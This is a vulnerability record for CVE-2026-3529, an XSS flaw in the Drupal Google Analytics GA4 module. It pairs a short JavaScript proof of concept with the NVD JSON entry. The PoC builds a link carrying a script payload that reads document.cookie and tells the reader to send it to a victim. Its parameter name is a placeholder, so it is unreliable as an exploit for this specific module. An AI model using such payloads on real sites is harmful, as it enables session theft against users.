CVE-2026-3529

// Proof of Concept for CVE-2026-3529 // Description: Injecting a payload via a vulnerable parameter to trigger XSS. // Payload to be executed in the victim's browser var payload = '<script>alert(document.cookie);</script>'; // Constructing the malicious URL // Note: The exact parameter name depends on the module's implementation var targetUrl = 'http://example.com/'; var attackUrl = targetUrl + '?vulnerable_tracking_param=' + encodeURIComponent(payload); // Output the attack link console.log('Send this link to a victim:', attackUrl); // In a real attack scenario, when the victim loads the page, // the script tag injected via the vulnerable parameter is rendered // and executed by the browser, demonstrating the XSS vulnerability.

{"cve": {"id": "CVE-2026-3529", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:09.020", "lastModified": "2026-03-31T20:37:55.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Google Analytics GA4 allows Cross-Site Scripting (XSS).This issue affects Google Analytics GA4: from 0.0.0 before 1.1.14."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en Drupal Google Analytics GA4 permite cross-site scripting (XSS). Este problema afecta a Google Analytics GA4: desde 0.0.0 anterior a 1.1.14."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sujanshrestha:google_analytics_ga4:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "1.1.14", "matchCriteriaId": "1430ADF7-121B-4B52-82A1-E9CA6BD7BAAB"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-024", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}